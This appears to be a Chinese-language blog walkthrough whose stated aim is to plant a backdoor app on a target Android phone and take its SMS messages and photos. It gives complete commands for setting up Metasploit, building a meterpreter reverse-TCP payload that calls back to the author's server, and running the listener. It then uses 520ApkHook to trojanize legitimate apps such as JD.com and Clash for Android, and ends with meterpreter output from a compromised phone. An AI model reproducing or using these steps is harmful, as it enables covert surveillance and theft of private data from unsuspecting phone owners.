Pre:
需求:给一个目标安卓手机植入后门app,以获取其短信、相册等信息。
整体思路:
服务器安装并运行msf框架,开启监听
使用520apkhook 注入一个干净的apk,生成新的apk
目标手机安装修改后的apk,打开app后,肉鸡能够上线
centos7运行msf框架:
安装msf:
参考文章:
msf快速安装命令:
1 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
快速安装脚本报错,需要修改yum的一些配置:
1 2 3 4 vim /usr/libexec/urlgrabber-ext-down vim /usr/bin/yum python -> python2
报错解决参考文章:
安装Postgresql:
一开始直接用yum安装了PostgreSQL 9.2几的版本,发现和安装的msf不兼容。
1 2 msf6 > db_status [-] Error while running command db_status: Your version of PostgreSQL (90224) is too old. Active Record supports PostgreSQL >= 9.3.
后来选择重新安装psql11版本的。参考文章:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 yum install postgresql11 postgresql11-devel postgresql11-libs postgresql11-server -y export PATH=/usr/pgsql-11/bin:$PATH /usr/pgsql-11/bin/ systemctl start postgresql-11 systemctl restart postgresql-11 vim /var/lib/pgsql/11/data/pg_hba.conf
配置msf连接psql:
1 2 3 4 cp /opt/metasploit-framework/embedded/framework/config/database.yml.example /opt/metasploit-framework/embedded/framework/config/database.ymlALTER USER postgres WITH PASSWORD 'msf' ;
参考文章:
安装jdk11:
参考文章:
1 2 3 4 5 6 7 vim /etc/profile.d/jdk11.sh export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-11.0.21.0.9-1.el7_9.x86_64export CLASSPATH=.:$JAVA_HOME /lib/export PATH=$JAVA_HOME /bin:$PATH
注入apk:
使用该github项目: https://github.com/ba0gu0/520apkhook
下载一个干净的apk :
下载Releases中打包好的jar包
https://github.com/ba0gu0/520apkhook/releases
msfmsfvenom:
1 2 3 4 5 msfvenom -p android/meterpreter/reverse_tcp lhost=服务器ip lport=3306 -o ~/Downloads/msf.apk msfvenom -p android/meterpreter/reverse_tcp lhost=74.48.x.x lport=10001 -o /jhack/cfa-2.5.12-premium-universal-release.apk
启动msfconsole
1 2 3 4 5 6 7 use exploit/multi/handler set payload android/meterpreter/reverse_tcpset lhost 0.0.0.0set lport 10001set exitonsession false exploit -j
520ApkHook:
1 2 3 4 5 java -jar a520ApkHook-1.0-jar-with-dependencies.jar ~/Downloads/京东.apk ~/Downloads/msf.apk java -jar a520ApkHook-1.1-jar-with-dependencies.jar /jhack/ClashForAndroid\ 2.5.12.apk /jhack/NewClashForAndroid.apk
520ApkHook工具会生成出一个修改好的pk
目标安卓手机运行后门app:
目标安卓手机安装apk,并运行app.肉鸡上线成功。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 meterpreter > sysinfo Computer : localhost OS : Android 10 - Linux 4.14.116 (aarch64) Architecture : aarch64 System Language : zh_CN_ Meterpreter : dalvik/android meterpreter > app_list Application List ================ Name Package Running IsSystem ---- ------- ------- -------- ARCore com.google.ar.core false true AREngineServer com.huawei.arengine.service false true AirLink com.huawei.airlink false true
更多的msf利用命令可参考:
测试结果:
Refs: